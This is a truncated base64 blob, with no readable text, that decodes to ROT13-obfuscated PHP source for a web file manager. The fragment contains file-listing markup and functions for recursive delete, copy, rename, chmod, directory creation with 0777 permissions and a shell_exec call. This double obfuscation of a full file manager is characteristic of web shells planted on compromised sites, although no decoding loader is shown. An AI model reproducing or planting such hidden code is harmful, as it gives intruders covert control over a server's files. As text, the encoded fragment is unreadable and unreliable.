ggPSAnP2M9JyAuIGhleXJhcGJxcihTWl9DTkdVKSAuICcmaXZyaj0nIC4gaGV5cmFwYnFyKCRzKTsKICAgICRueXlfc3Z5cmZfZnZtciArPSAkc3Z5cmZ2bXJfZW5qOwogICAgJGNyZXpmID0gZmhvZmdlKHFycGJwZyhzdnlyY3JlemYoJGNuZ3UgLiAnLycgLiAkcykpLCAtNCk7CiAgICB2cyAoc2hhcGd2YmFfcmt2ZmdmKCdjYmZ2a190cmdjamh2cScpICYmIHNoYXBndmJhX3JrdmZnZignY2JmdmtfdHJndGV0dnEnKSkgewogICAgICAgICRiamFyZSA9IGNiZnZrX3RyZ2NqaHZxKHN2eXJiamFyZSgkY25ndSAuICcvJyAuICRzKSk7CiAgICAgICAgJHRlYmhjID0gY2JmdmtfdHJndGV0dnEoc3Z5cnRlYmhjKCRjbmd1IC4gJy8nIC4gJHMpKTsKICAgIH0gcnlmciB7CiAgICAgICAgJGJqYXJlID0gbmVlbmwoJ2FuenInID0+ICc/Jyk7CiAgICAgICAgJHRlYmhjID0gbmVlbmwoJ2FuenInID0+ICc/Jyk7CiAgICB9CiAgICA/Pgo8Z2U+CjxncT48eW5vcnk+PHZhY2hnIGdsY3I9InB1cnB4b2JrIiBhbnpyPSJzdnlyW10iIGlueWhyPSI8P2N1YyBycHViIHN6X3JhcCgkcykgPz4iPjwveW5vcnk+PC9ncT4KPGdxPjxxdmkgcHluZmY9InN2eXJhbnpyIj48biB1ZXJzPSI8P2N1YyBycHViIHN6X3JhcCgkc3Z5cnl2YXgpID8+IiBndmd5cj0iU3Z5ciB2YXNiIj48diBweW5mZj0iPD9jdWMgcnB1YiAkdnp0ID8+Ij48L3Y+IDw/Y3VjIHJwdWIgc3pfcmFwKHN6X3BiYWlyZWdfanZhKCRzKSkgPz48L24+PD9jdWMgcnB1YiAoJHZmX3l2YXggPyAnICZlbmVlOyA8dj4nIC4gc3pfcmFwKGVybnF5dmF4KCRjbmd1IC4gJy8nIC4gJHMpKSAuICc8L3Y+JyA6ICcnKSA/PjwvcXZpPjwvZ3E+CjxncT48ZmNuYSBweW5mZj0idGVubCIgZ3ZneXI9Ijw/Y3VjIGNldmFncygnJWYgb2xncmYnLCAkc3Z5cmZ2bXJfZW5qKSA/PiI+PD9jdWMgcnB1YiAkc3Z5cmZ2bXIgPz48L2ZjbmE+PC9ncT4KPGdxPjw/Y3VjIHJwdWIgJHpicXZzID8+PC9ncT4KPD9jdWMgdnMgKCFTWl9WRl9KVkEpOiA/Pgo8Z3E+PG4gZ3ZneXI9IlB1bmF0ciBDcmV6dmZmdmJhZiIgdWVycz0iP2M9PD9jdWMgcnB1YiBoZXlyYXBicXIoU1pfQ05HVSkgPz4mbnpjO3B1emJxPTw/Y3VjIHJwdWIgaGV5cmFwYnFyKCRzKSA/PiI+PD9jdWMgcnB1YiAkY3JlemYgPz48L24+PC9ncT4KPGdxPjw/Y3VjIHJwdWIgc3pfcmFwKCRiamFyZVsnYW56ciddIC4gJzonIC4gJHRlYmhjWydhbnpyJ10pID8+PC9ncT4KPD9jdWMgcmFxdnM7ID8+CjxncT4KPG4gZ3ZneXI9IlFyeXJnciIgdWVycz0iP2M9PD9jdWMgcnB1YiBoZXlyYXBicXIoU1pfQ05HVSkgPz4mbnpjO3FyeT08P2N1YyBycHViIGhleXJhcGJxcigkcykgPz4iIGJhcHl2cHg9ImVyZ2hlYSBwYmFzdmV6KCdRcnlyZ3Igc3Z5cj8nKTsiPjx2IHB5bmZmPSJ2cGJhLXBlYmZmIj48L3Y+PC9uPgo8biBndmd5cj0iRXJhbnpyIiB1ZXJzPSIjIiBiYXB5dnB4PSJlcmFuenIoJzw/Y3VjIHJwdWIgc3pfcmFwKFNaX0NOR1UpID8+JywgJzw/Y3VjIHJwdWIgc3pfcmFwKCRzKSA/PicpO2VyZ2hlYSBzbnlmcjsiPjx2IHB5bmZmPSJ2cGJhLWVyYW56ciI+PC92Pjwvbj4KPG4gZ3ZneXI9IlBiY2wgZ2IuLi4iIHVlcnM9Ij9jPTw/Y3VjIHJwdWIgaGV5cmFwYnFyKFNaX0NOR1UpID8+Jm56YztwYmNsPTw/Y3VjIHJwdWIgaGV5cmFwYnFyKGdldnooU1pfQ05HVSAuICcvJyAuICRzLCAnLycpKSA/PiI+PHYgcHluZmY9InZwYmEtcGJjbCI+PC92Pjwvbj4KPG4gZ3ZneXI9IlF2ZXJwZyB5dmF4IiB1ZXJzPSI8P2N1YyBycHViIHN6X3JhcChTWl9FQkJHX0hFWSAuIChTWl9DTkdVICE9ICcnID8gJy8nIC4gU1pfQ05HVSA6ICcnKSAuICcvJyAuICRzKSA/PiIgZ25ldHJnPSJfb3luYXgiPjx2IHB5bmZmPSJ2cGJhLXB1bnZhIj48L3Y+PC9uPgo8biBndmd5cj0iUWJqYXlibnEiIHVlcnM9Ij9jPTw/Y3VjIHJwdWIgaGV5cmFwYnFyKFNaX0NOR1UpID8+Jm56YztxeT08P2N1YyBycHViIGhleXJhcGJxcigkcykgPz4iPjx2IHB5bmZmPSJ2cGJhLXFiamF5Ym5xIj48L3Y+PC9uPgo8L2dxPjwvZ2U+CiAgICA8P2N1YwogICAgc3loZnUoKTsKfQoKdnMgKHJ6Y2dsKCRzYnlxcmVmKSAmJiByemNnbCgkc3Z5cmYpKSB7CiAgICA/Pgo8Z2U+PGdxPjwvZ3E+PGdxIHBieWZjbmE9Ijw/Y3VjIHJwdWIgIVNaX1ZGX0pWQSA/ICc2JyA6ICc0JyA/PiI+PHJ6PlNieXFyZSB2ZiByemNnbDwvcno+PC9ncT48L2dlPgo8P2N1Ywp9IHJ5ZnIgewogICAgPz4KPGdlPjxncSBweW5mZj0idGVubCI+PC9ncT48Z3EgcHluZmY9InRlbmwiIHBieWZjbmE9Ijw/Y3VjIHJwdWIgIVNaX1ZGX0pWQSA/ICc2JyA6ICc0JyA/PiI+ClNoeXkgZnZtcjogPGZjbmEgZ3ZneXI9Ijw/Y3VjIGNldmFncygnJWYgb2xncmYnLCAkbnl5X3N2eXJmX2Z2bXIpID8+Ij48P2N1YyBycHViIHN6X3RyZ19zdnlyZnZtcigkbnl5X3N2eXJmX2Z2bXIpID8+PC9mY25hPiwKc3Z5cmY6IDw/Y3VjIHJwdWIgJGFoel9zdnlyZiA/PiwKc2J5cXJlZjogPD9jdWMgcnB1YiAkYWh6X3NieXFyZWYgPz4KPC9ncT48L2dlPgo8P2N1Ywp9Cj8+CjwvZ25veXI+CjxjIHB5bmZmPSJjbmd1Ij48biB1ZXJzPSIjIiBiYXB5dnB4PSJmcnlycGdfbnl5KCk7ZXJnaGVhIHNueWZyOyI+PHYgcHluZmY9InZwYmEtcHVycHhvYmsiPjwvdj4gRnJ5cnBnIG55eTwvbj4gJmFvZmM7CjxuIHVlcnM9IiMiIGJhcHl2cHg9ImhhZnJ5cnBnX255eSgpO2VyZ2hlYSBzbnlmcjsiPjx2IHB5bmZmPSJ2cGJhLXB1cnB4b2JrX2hhcHVycHgiPjwvdj4gSGFmcnlycGcgbnl5PC9uPiAmYW9mYzsKPG4gdWVycz0iIyIgYmFweXZweD0idmFpcmVnX255eSgpO2VyZ2hlYSBzbnlmcjsiPjx2IHB5bmZmPSJ2cGJhLXB1cnB4b2JrX3ZhaXJlZyI+PC92PiBWYWlyZWcgZnJ5cnBndmJhPC9uPjwvYz4KPGM+PHZhY2hnIGdsY3I9ImZob3p2ZyIgYW56cj0icXJ5cmdyIiBpbnlocj0iUXJ5cmdyIiBiYXB5dnB4PSJlcmdoZWEgcGJhc3ZleignUXJ5cmdyIGZyeXJwZ3JxIHN2eXJmIG5hcSBzYnlxcmVmPycpIj4KPHZhY2hnIGdsY3I9ImZob3p2ZyIgYW56cj0ibXZjIiBpbnlocj0iQ25weCIgYmFweXZweD0iZXJnaGVhIHBiYXN2ZXooJ1Blcm5nciBuZXB1dmlyPycpIj4KPHZhY2hnIGdsY3I9ImZob3p2ZyIgYW56cj0icGJjbCIgaW55aHI9IlBiY2wiPjwvYz4KPC9zYmV6PgoKPD9jdWMKc3pfZnVial9zYmJncmUoKTsKCi8vLS0tIFJBUQoKLy8gU2hhcGd2YmFmCgovKioKICogUXJ5cmdyICBzdnlyIGJlIHNieXFyZSAoZXJwaGVmdmlyeWwpCiAqIEBjbmVueiBmZ2V2YXQgJGNuZ3UKICogQGVyZ2hlYSBvYmJ5CiAqLwpzaGFwZ3ZiYSBzel9lcXJ5cmdyKCRjbmd1KQp7CiAgICB2cyAodmZfeXZheCgkY25ndSkpIHsKICAgICAgICBlcmdoZWEgaGF5dmF4KCRjbmd1KTsKICAgIH0gcnlmcnZzICh2Zl9xdmUoJGNuZ3UpKSB7CiAgICAgICAgJGJvd3JwZ2YgPSBmcG5hcXZlKCRjbmd1KTsKICAgICAgICAkYnggPSBnZWhyOwogICAgICAgIHZzICh2Zl9uZWVubCgkYm93cnBnZikpIHsKICAgICAgICAgICAgc2Jlcm5wdSAoJGJvd3JwZ2YgbmYgJHN2eXIpIHsKICAgICAgICAgICAgICAgIHZzICgkc3Z5ciAhPSAnLicgJiYgJHN2eXIgIT0gJy4uJykgewogICAgICAgICAgICAgICAgICAgIHZzICghc3pfZXFyeXJncigkY25ndSAuICcvJyAuICRzdnlyKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkYnggPSBzbnlmcjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZXJnaGVhICgkYngpID8gZXpxdmUoJGNuZ3UpIDogc255ZnI7CiAgICB9IHJ5ZnJ2cyAodmZfc3Z5cigkY25ndSkpIHsKICAgICAgICBlcmdoZWEgaGF5dmF4KCRjbmd1KTsKICAgIH0KICAgIGVyZ2hlYSBzbnlmcjsKfQoKLyoqCiAqIEVycGhlZnZpciBwdXpicQogKiBAY25lbnogZmdldmF0ICRjbmd1CiAqIEBjbmVueiB2YWcgJHN2eXJ6YnFyCiAqIEBjbmVueiB2YWcgJHF2ZXpicXIKICogQGVyZ2hlYSBvYmJ5CiAqIEBnYnFiIEp2eXkgaGZyIHZhIHpuZmYgcHV6YnEKICovCnNoYXBndmJhIHN6X2VwdXpicSgkY25ndSwgJHN2eXJ6YnFyLCAkcXZlemJxcikKewogICAgdnMgKHZmX3F2ZSgkY25ndSkpIHsKICAgICAgICB2cyAoIXB1emJxKCRjbmd1LCAkcXZlemJxcikpIHsKICAgICAgICAgICAgZXJnaGVhIHNueWZyOwogICAgICAgIH0KICAgICAgICAkYm93cnBnZiA9IGZwbmFxdmUoJGNuZ3UpOwogICAgICAgIHZzICh2Zl9uZWVubCgkYm93cnBnZikpIHsKICAgICAgICAgICAgc2Jlcm5wdSAoJGJvd3JwZ2YgbmYgJHN2eXIpIHsKICAgICAgICAgICAgICAgIHZzICgkc3Z5ciAhPSAnLicgJiYgJHN2eXIgIT0gJy4uJykgewogICAgICAgICAgICAgICAgICAgIHZzICghc3pfZXB1emJxKCRjbmd1IC4gJy8nIC4gJHN2eXIsICRzdnlyemJxciwgJHF2ZXpicXIpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVyZ2hlYSBzbnlmcjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZXJnaGVhIGdlaHI7CiAgICB9IHJ5ZnJ2cyAodmZfeXZheCgkY25ndSkpIHsKICAgICAgICBlcmdoZWEgZ2VocjsKICAgIH0gcnlmcnZzICh2Zl9zdnlyKCRjbmd1KSkgewogICAgICAgIGVyZ2hlYSBwdXpicSgkY25ndSwgJHN2eXJ6YnFyKTsKICAgIH0KICAgIGVyZ2hlYSBzbnlmcjsKfQoKLyoqCiAqIEZuc3J5bCBlcmFuenIKICogQGNuZW56IGZnZXZhdCAkYnlxCiAqIEBjbmVueiBmZ2V2YXQgJGFyagogKiBAZXJnaGVhIG9iYnl8YWh5eQogKi8Kc2hhcGd2YmEgc3pfZXJhbnpyKCRieXEsICRhcmopCnsKICAgIGVyZ2hlYSAoIXN2eXJfcmt2ZmdmKCRhcmopICYmIHN2eXJfcmt2ZmdmKCRieXEpKSA/IGVyYW56cigkYnlxLCAkYXJqKSA6IGFoeXk7Cn0KCi8qKgogKiBQYmNsIHN2eXIgYmUgc2J5cXJlIChlcnBoZWZ2aXJ5bCkuCiAqIEBjbmVueiBmZ2V2YXQgJGNuZ3UKICogQGNuZW56IGZnZXZhdCAkcXJmZwogKiBAY25lbnogb2JieSAkaGNxIEhjcW5nciBzdnlyZgogKiBAY25lbnogb2JieSAkc2JlcHIgUGVybmdyIHNieXFyZSBqdmd1IGZuenIgYW56cmYgdmFmZ3JucSBzdnlyCiAqIEBlcmdoZWEgb2JieQogKi8Kc2hhcGd2YmEgc3pfZXBiY2woJGNuZ3UsICRxcmZnLCAkaGNxID0gZ2VociwgJHNiZXByID0gZ2VocikKewogICAgdnMgKHZmX3F2ZSgkY25ndSkpIHsKICAgICAgICB2cyAoIXN6X3p4cXZlKCRxcmZnLCAkc2JlcHIpKSB7CiAgICAgICAgICAgIGVyZ2hlYSBzbnlmcjsKICAgICAgICB9CiAgICAgICAgJGJvd3JwZ2YgPSBmcG5hcXZlKCRjbmd1KTsKICAgICAgICAkYnggPSBnZWhyOwogICAgICAgIHZzICh2Zl9uZWVubCgkYm93cnBnZikpIHsKICAgICAgICAgICAgc2Jlcm5wdSAoJGJvd3JwZ2YgbmYgJHN2eXIpIHsKICAgICAgICAgICAgICAgIHZzICgkc3Z5ciAhPSAnLicgJiYgJHN2eXIgIT0gJy4uJykgewogICAgICAgICAgICAgICAgICAgIHZzICghc3pfZXBiY2woJGNuZ3UgLiAnLycgLiAkc3Z5ciwgJHFyZmcgLiAnLycgLiAkc3Z5cikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGJ4ID0gc255ZnI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVyZ2hlYSAkYng7CiAgICB9IHJ5ZnJ2cyAodmZfc3Z5cigkY25ndSkpIHsKICAgICAgICBlcmdoZWEgc3pfcGJjbCgkY25ndSwgJHFyZmcsICRoY3EpOwogICAgfQogICAgZXJnaGVhIHNueWZyOwp9CgovKioKICogRm5zcnlsIHBlcm5nciBzYnlxcmUKICogQGNuZW56IGZnZXZhdCAkcXZlCiAqIEBjbmVueiBvYmJ5ICRzYmVwcgogKiBAZXJnaGVhIG9iYnkKICovCnNoYXBndmJhIHN6X3p4cXZlKCRxdmUsICRzYmVwcikKewogICAgdnMgKHN2eXJfcmt2ZmdmKCRxdmUpKSB7CiAgICAgICAgdnMgKHZmX3F2ZSgkcXZlKSkgewogICAgICAgICAgICBlcmdoZWEgJHF2ZTsKICAgICAgICB9IHJ5ZnJ2cyAoISRzYmVwcikgewogICAgICAgICAgICBlcmdoZWEgc255ZnI7CiAgICAgICAgfQogICAgICAgIGhheXZheCgkcXZlKTsKICAgIH0KICAgIGVyZ2hlYSB6eHF2ZSgkcXZlLCAwNzc3LCBnZWhyKTsKfQoKLyoqCiAqIEZuc3J5bCBwYmNsIHN2eXIKICogQGNuZW56IGZnZXZhdCAkczEKICogQGNuZW56IGZnZXZhdCAkczIKICogQGNuZW56IG9iYnkgJGhjcQogKiBAZXJnaGVhIG9iYnkKICovCnNoYXBndmJhIHN6X3BiY2woJHMxLCAkczIsICRoY3EpCnsKICAgICRndnpyMSA9IHN2eXJ6Z3Z6cigkczEpOwogICAgdnMgKHN2eXJfcmt2ZmdmKCRzMikpIHsKICAgICAgICAkZ3Z6cjIgPSBzdnlyemd2enIoJHMyKTsKICAgICAgICB2cyAoJGd2enIyID49ICRndnpyMSAmJiAkaGNxKSB7CiAgICAgICAgICAgIGVyZ2hlYSBzbnlmcjsKICAgICAgICB9CiAgICB9CiAgICAkYnggPSBwYmNsKCRzMSwgJHMyKTsKICAgIHZzICgkYngpIHsKICAgICAgICBnYmhwdSgkczIsICRndnpyMSk7CiAgICB9CiAgICBlcmdoZWEgJGJ4Owp9CgovKioKICogVHJnIHp2enIgZ2xjcgogKiBAY25lbnogZmdldmF0ICRzdnlyX2NuZ3UKICogQGVyZ2hlYSB6dmtycXxmZ2V2YXQKICovCnNoYXBndmJhIHN6X3RyZ196dnpyX2dsY3IoJHN2eXJfY25ndSkKewogICAgdnMgKHNoYXBndmJhX3JrdmZnZignc3Zhc2JfYmNyYScpKSB7CiAgICAgICAgJHN2YXNiID0gc3Zhc2JfYmNyYShTVllSVkFTQl9aVlpSX0dMQ1IpOwogICAgICAgICR6dnpyID0gc3Zhc2Jfc3Z5cigkc3Zhc2IsICRzdnlyX2NuZ3UpOwogICAgICAgIHN2YXNiX3B5YmZyKCRzdmFzYik7CiAgICAgICAgZXJnaGVhICR6dnpyOwogICAgfSByeWZydnMgKHNoYXBndmJhX3JrdmZnZignenZ6cl9wYmFncmFnX2dsY3InKSkgewogICAgICAgIGVyZ2hlYSB6dnpyX3BiYWdyYWdfZ2xjcigkc3Z5cl9jbmd1KTsKICAgIH0gcnlmcnZzICghZmdldmZnZSh2YXZfdHJnKCdxdmZub3lyX3NoYXBndmJhZicpLCAnZnVyeXlfcmtycCcpKSB7CiAgICAgICAgJHN2eXIgPSByZnBuY3JmdXJ5eW5ldCgkc3Z5cl9jbmd1KTsKICAgICAgICAkenZ6ciA9IGZ1cnl5X3JrcnAoJ3N2eXIgLW92ICcgLiAkc3Z5cik7CiAgICAgICAgZXJnaGVhICR6dnpyOwogICAgfSByeWZyIHsKICAgICAgICBlcmdoZWEgJy0tJzsKICAgIH0KfQoKLyoqCiAqIFVHR0MgRXJxdmVycGcKICogQGNuZW56IGZnZXZhdCAkaGV5CiAqIEBjbmVueiB2YWcgJHBicXIKICovCnNoYXBndmJhIHN6X2VycXZlcnBnKCRoZXksICRwYnFyID0gMzAyKQp7CiAgICB1cm5xcmUoJ1licG5ndmJhOiAnIC4gJGhleSwgZ2VociwgJHBicXIpOwogICAgcmt2ZzsKfQoKLyoqCiAqIFB5cm5hIGNuZ3UKICogQGNuZW56IGZnZXZhdCAkY25ndQogKiBAZXJnaGVhIGZnZXZhdAogKi8Kc2hhcGd2YmEgc3pfcHlybmFfY25ndSgkY25ndSkKewogICAgJGNuZ3UgPSBnZXZ6KCRjbmd1KTsKICAgICRjbmd1ID0gZ2V2eigkY25ndSwgJ1xcLycpOwogICAgJGNuZ3UgPSBmZ2VfZXJjeW5wcihuZWVubCgnLi4vJywgJy4uXFwnKSwgJycsICRjbmd1KTsKICAgIHZzICgkY25ndSA9PSAnLi4nKSB7CiAgICAgICAgJGNuZ3UgPSAnJzsKICAgIH0KICAgIGVyZ2hlYSBmZ2VfZXJjeW5wcignXFwnLCAnLycsICRjbmd1KTsKfQoKLyoqCiAqIFRyZyBjbmVyYWcgY25ndQogKiBAY25lbnogZmdldmF0ICRjbmd1CiAqIEBlcmdoZWEgb2JieXxmZ2V2YXQKICovCnNoYXBndmJhIHN6X3RyZ19jbmVyYWdfY25ndSgkY25ndSkKewogICAgJGNuZ3UgPSBzel9weXJuYV9jbmd1KCRjbmd1KTsKICAgIHZzICgkY25ndSAhPSAnJykgewogICAgICAgICRuZWVubCA9IHJrY3licXIoJy8nLCAkY25ndSk7CiAgICAgICAgdnMgKHBiaGFnKCRuZWVubCkgPiAxKSB7CiAgICAgICAgICAgICRuZWVubCA9IG5lZW5sX2Z5dnByKCRuZWVubCwgMCwgLTEpOwogICAgICAgICAgICBlcmdoZWEgdnpjeWJxcignLycsICRuZWVubCk7CiAgICAgICAgfQogICAgICAgIGVyZ2hlYSAnJzsKICAgIH0KICAgIGVyZ2hlYSBzbnlmcjsKfQoKLyoqCiAqIFRyZyBhdnByIHN2eXJmdm1yCiAqIEBjbmVueiB2YWcgJGZ2bXIKICogQGVyZ2hlYSBmZ2V2YXQKICovCnNoYXBndmJhIHN6X3RyZ19zdnlyZnZtcigkZnZtcikKewogICAgdnMgKCRmdm1yIDwgMTAwMCkgewogICAgICAgIGVyZ2hlYSBmY2V2YWdzKCclZiBPJywgJGZ2bXIpOwogICAgfSByeWZydnMgKCgkZnZtciAvIDEwMjQpIDwgMTAwMCkgewogICAgICAgIGVyZ2hlYSBmY2V2YWdzKCclZiBYdk8nLCBlYmhhcSgoJGZ2bXIgLyAxMDI0KSwgMikpOwogICAgfSByeWZydnMgKCgkZnZtciAvIDEwMjQgLyAxMDI0KSA8IDEwMDApIHsKICAgICAgICBlcmdoZWEgZmNldmFncygnJWYgWnZPJywgZWJoYXEoKCRmdm1yIC8gMTAyNCAvIDEwMjQpLCAyKSk7CiAgICB9IHJ5ZnJ2cyAoKCRmdm1yIC8gMTAyNCAvIDEwMjQgLyAxMDI0KSA8IDEwMDApIHsKICAgICAgICBlcmdoZWEgZmNldmFncygnJWYgVHZPJywgZWJoYXEoKCRmdm1yIC8gMTAyNCAvIDEwMjQgLyAxMDI0KSwgMikpOwogICAgfSByeWZyIHsKICAgICAgICBlcmdoZWEgZmNldmFncygnJWYgR3ZPJywgZWJoYXEoKCRmdm1yIC8gMTAyNCAvIDEwMjQgLyAxMDI0IC8gMTAyNCksIDIpKTsKICAgIH0KfQoKLyoqCiAqIFRyZyB2YXNiIG5vYmhnIG12YyBuZXB1dmlyCiAqIEBjbmVueiBmZ2V2YXQgJGNuZ3UKICogQGVyZ2hlYSBuZWVubHxvYmJ5CiAqLwpzaGFwZ3ZiYSBzel90cmdfbXZzX3Zhc2IoJGNuZ3UpCnsKICAgIHZzIChzaGFwZ3ZiYV9ya3ZmZ2YoJ212Y19iY3JhJykpIHsKICAgICAgICAkbmVwdSA9IG12Y19iY3JhKCRjbmd1KTsKICAgICAgICB2cyAoJG5lcHUpIHsKICAgICAgICAgICAgJHN2eXJhbnpyZiA9IG5lZW5sKCk7CiAgICAgICAgICAgIGp1dnlyICgkbXZjX3JhZ2VsID0gbXZjX2VybnEoJG5lcHUpKSB7CiAgICAgICAgICAgICAgICAkbXZjX2FuenIgPSBtdmNfcmFnZWxfYW56cigkbXZjX3JhZ2VsKTsKICAgICAgICAgICAgICAgICRtdmNfc2J5cXJlID0gZmhvZmdlKCRtdmNfYW56ciwgLTEpID09ICcvJzsKICAgICAgICAgICAgICAgICRzdnlyYW56cmZbXSA9IG5lZW5sKAogICAgICAgICAgICAgICAgICAgICdhbnpyJyA9PiAkbXZjX2FuenIsCiAgICAgICAgICAgICAgICAgICAgJ3N2eXJmdm1yJyA9PiBtdmNfcmFnZWxfc3Z5cmZ2bXIoJG12Y19yYWdlbCksCiAgICAgICAgICAgICAgICAgICAgJ3BiemNlcmZmcnFfZnZtcicgPT4gbXZjX3JhZ2VsX3BiemNlcmZmcnFmdm1yKCRtdmNfcmFnZWwpLAogICAgICAgICAgICAgICAgICAgICdzYnlxcmUnID0+ICRtdmNfc2J5cXJlCiAgICAgICAgICAgICAgICAgICAgLy8ncGJ6Y2VyZmZ2YmFfenJndWJxJyA9PiBtdmNfcmFnZWxfcGJ6Y2VyZmZ2YmF6cmd1YnEoJG12Y19yYWdlbCksCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICB9CiAgICAgICAgICAgIG12Y19weWJmcigkbmVwdSk7CiAgICAgICAgICAgIGVyZ2hlYSAkc3Z5cmFuenJmOwogICAgICAgIH0KICAgIH0KICAgIGVyZ2hlYSBzbnlmcjsKfQoKLyoqCiAqIFJhcGJxciB1Z3p5IHJhZ3ZndnJmCiAqIEBjbmVueiBmZ2V2YXQgJGdya2cKICogQGVyZ2hlYSBmZ2V2YXQKICovCnNoYXBndmJhIHN6X3JhcCgkZ3JrZykKewogICAgZXJnaGVhIHVnenlmY3Jwdm55cHVuZWYoJGdya2csIFJBR19ESEJHUkYsICdIR1MtOCcpOwp9CgovKioKICogRm5pciB6cmZmbnRyIHZhIGZyZmZ2YmEKICogQGNuZW56IGZnZXZhdCAkemZ0CiAqIEBjbmVueiBmZ2V2YXQgJGZnbmdoZgogKi8Kc2hhcGd2YmEgc3pfZnJnX3pmdCgkemZ0LCAkZmduZ2hmID0gJ2J4JykKewogICAgJF9GUkZGVkJBWyd6cmZmbnRyJ10gPSAkemZ0OwogICAgJF9GUkZGVkJBWydmZ25naGYnXSA9ICRmZ25naGY7Cn0KCi8qKgogKiBQdXJweCB2cyBmZ2V2YXQgdmYgdmEgSEdTLTgKICogQGNuZW56IGZnZXZhdCAkZmdldmF0CiAqIEBlcmdoZWEgdmFnCiAqLwpzaGFwZ3ZiYSBzel92Zl9oZ3M4KCRmZ2V2YXQpCnsKICAgIGVyZ2hlYSBjZXJ0X3puZ3B1KCcvL2gnLCAkZmdldmF0KTsKfQoKLyoqCiAqIFBiYWlyZWcgc3Z5ciBhbnpyIGdiIEhHUy04IHZhIEp2YXFiamYKICogQGNuZW56IGZnZXZhdCAkc3Z5cmFuenIKICogQGVyZ2hlYSBmZ2V2YXQKICovCnNoYXBndmJhIHN6X3BiYWlyZWdfanZhKCRzdnlyYW56cikKewogICAgdnMgKFNaX1ZGX0pWQSAmJiBzaGFwZ3ZiYV9ya3ZmZ2YoJ3ZwYmFpJykpIHsKICAgICAgICAkc3Z5cmFuenIgPSB2cGJhaShTWl9WUEJBSV9WQUNIR19SQVAsICdIR1MtOC8vVlRBQkVSJywgJHN2eXJhbnpyKTsKICAgIH0KICAgIGVyZ2hlYSAkc3Z5cmFuenI7Cn0KCi8qKgogKiBUcmcgUEZGIHB5bmZmYW56ciBzYmUgc3Z5cgogKiBAY25lbnogZmdldmF0ICRjbmd1CiAqIEBlcmdoZWEgZmdldmF0CiAqLwpzaGFwZ3ZiYSBzel90cmdfc3Z5cl92cGJhX3B5bmZmKCRjbmd1KQp7CiAgICAvLyB0cmcgcmtncmFmdmJhCiAgICAkcmtnID0gZmdlZ2J5YmpyZShjbmd1dmFzYigkY25ndSwgQ05HVVZBU0JfUktHUkFGVkJBKSk7CgogICAgZmp2Z3B1ICgkcmtnKSB7CiAgICAgICAgcG5mciAndnBiJzogcG5mciAndHZzJzogcG5mciAnd2N0JzogcG5mciAnd2NydCc6IHBuZnIgJ3djcCc6IHBuZnIgJ3djMic6CiAgICAgICAgcG5mciAnd2NrJzogcG5mciAna296JzogcG5mciAnam96Yyc6IHBuZnIgJ2NhdCc6IHBuZnIgJ296Yyc6IHBuZnIgJ2d2cyc6CiAgICAgICAgcG5mciAnZ3Zzcyc6CiAgICAgICAgICAgICR2enQgPSAndnBiYS1zdnlyX3Z6bnRyJzsKICAgICAgICAgICAgb2Vybng7CiAgICAgICAgcG5mciAnZ2tnJzogcG5mciAncGZmJzogcG5mciAndmF2JzogcG5mciAncGJhcyc6IHBuZnIgJ3lidCc6IHBuZnIgJ3VnbnBwcmZmJzoKICAgICAgICBwbmZyICdjbmZmanEnOiBwbmZyICdzZ2NkaGJnbic6IHBuZnIgJ2ZkeSc6IHBuZnIgJ3dmJzogcG5mciAnd2ZiYSc6IHBuZnIgJ2Z1JzoKICAgICAgICBwbmZyICdwYmFzdnQnOiBwbmZyICdnanZ0JzogcG5mciAnZ2N5JzogcG5mciAnenEnOiBwbmZyICd0dmd2dGFiZXInOgogICAgICAgIHBuZnIgJ3lyZmYnOiBwbmZyICdmbmZmJzogcG5mciAnZnBmZic6IHBuZnIgJ3AnOiBwbmZyICdwY2MnOiBwbmZyICdwZic6IHBuZnIgJ2NsJzoKICAgICAgICBwbmZyICd6bmMnOiBwbmZyICd5YnB4JzogcG5mciAncWdxJzoKICAgICAgICAgICAgJHZ6dCA9ICd2cGJhLXN2eXJfZ3JrZyc7CiAgICAgICAgICAgIG9lcm54OwogICAgICAgIHBuZnIgJ212Yyc6IHBuZnIgJ2VuZSc6IHBuZnIgJ3RtJzogcG5mciAnZ25lJzogcG5mciAnN20nOgogICAgICAgICAgICAkdnp0ID0gJ3ZwYmEtc3Z5cl9tdmMnOwogICAgICAgICAgICBvZXJueDsKICAgICAgICBwbmZyICdjdWMnOiBwbmZyICdjdWM0JzogcG5mciAnY3VjNSc6IHBuZnIgJ2N1Y2YnOiBwbmZyICdjdWd6eSc6CiAgICAgICAgICAgICR2enQgPSAndnBiYS1zdnlyX2N1Yyc7CiAgICAgICAgICAgIG9lcm54OwogICAgICAgIHBuZnIgJ3Vneic6IHBuZnIgJ3VnenknOiBwbmZyICdmdWd6eSc6IHBuZnIgJ2t1Z3p5JzoKICAgICAgICAgICAgJHZ6dCA9ICd2cGJhLXN2eXJfdWd6eSc7CiAgICAgICAgICAgIG9lcm54OwogICAgICAgIHBuZnIgJ2t6eSc6IHBuZnIgJ2tmeSc6IHBuZnIgJ2ZpdCc6CiAgICAgICAgICAgICR2enQgPSAndnBiYS1zdnlyX3BicXInOwogICAgICAgICAgICBvZXJueDsKICAgICAgICBwbmZyICdqbmknOiBwbmZyICd6YzMnOiBwbmZyICd6YzInOiBwbmZyICd6NG4nOiBwbmZyICdubnAnOiBwbmZyICdidHQnOgogICAgICAgIHBuZnIgJ2J0bic6IHBuZnIgJ2p6bic6IHBuZnIgJ3p4bic6IHBuZnIgJ3N5bnAnOiBwbmZyICducDMnOiBwbmZyICdncWYnOgogICAgICAgICAgICAkdnp0ID0gJ3ZwYmEtc3Z5cl96aGZ2cCc7CiAgICAgICAgICAgIG9lcm54OwogICAgICAgIHBuZnIgJ3ozaCc6IHBuZnIgJ3ozaDgnOiBwbmZyICdjeWYnOiBwbmZyICdwaHInOgogICAgICAgICAgICAkdnp0ID0gJ3ZwYmEtc3Z5cl9jeW5seXZmZyc7CiAgICAgICAgICAgIG9lcm54OwogICAgICAgIHBuZnIgJ25pdic6IHBuZnIgJ3pjdCc6IHBuZnIgJ3pjcnQnOi